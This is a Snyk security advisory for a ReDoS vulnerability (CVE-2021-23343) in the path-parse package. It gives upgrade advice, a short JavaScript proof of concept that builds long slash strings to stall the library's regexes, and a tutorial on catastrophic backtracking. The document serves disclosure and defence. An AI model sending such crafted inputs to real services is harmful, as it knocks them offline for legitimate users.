**snyk** Vulnerability DB

MEDIUM

Snyk Vulnerability Database › Maven › org.webjars.npm:path-parse

Search by package name or CVE

# Regular Expression Denial of Service (ReDoS)

Affecting org.webjars.npm:path-parse package, versions **[0,1.0.7)**

**INTRODUCED: 19 FEB 2021** CVE-2021-23343 CWE-400

Share

### How to fix?

Upgrade `org.webjars.npm:path-parse` to version 1.0.7 or higher.

## Overview

org.webjars.npm:path-parse is a Node.js path.parse() ponyfill

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `splitDeviceRe` , `splitTailRe` , and `splitPathRe` regular expressions. ReDoS exhibits polynomial worst-case time complexity.

## PoC

```
var pathParse = require('path-parse'); function build_attack(n) { var ret = "" for (var i = 0; i < n; i++) { ret += "/" } return ret + "◎"; }

for(var i = 1; i <= 5000000; i++) { if (i % 10000 == 0) { var time = Date.now(); var attack_str = build_attack(i) pathParse(attack_str); var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") } }
```

## Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let's take the following regular expression as an example:

```
regex = /A(B|C+)+D/
```

This regular expression accomplishes the following:

- `A` The string must start with the letter 'A'
- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.
- `D` Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as `ABBD` , `ABCCCCD` , `ABCBCCCD` and `ACCCCCD`

It most cases, it doesn't take very long for a regex engine to find a match:

```
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")' 0.04s user 0.01s system 95% cpu 0.052 total
```

```
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")' 1.79s user 0.02s system 99% cpu 1.812 total
```

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn't match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as *catastrophic backtracking*.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

### Snyk CVSS

| | |
|---|---|
| Exploit Maturity | Proof of concept |
| Attack Complexity | Low |

See more

- SUSE 5.3 MEDIUM
- Red Hat 5.3 MEDIUM
- NVD 7.5 HIGH

**Do your applications use this vulnerable package?**

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

| | |
|---|---|
| Snyk ID | SNYK-JAVA-ORGWEBJARSNPM-1279028 |
| Published | 4 May 2021 |
| Disclosed | 19 Feb 2021 |
| Credit | Yeting Li |

Report a new vulnerability

Found a mistake?

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

### References

- GitHub Issue 1
- GitHub PR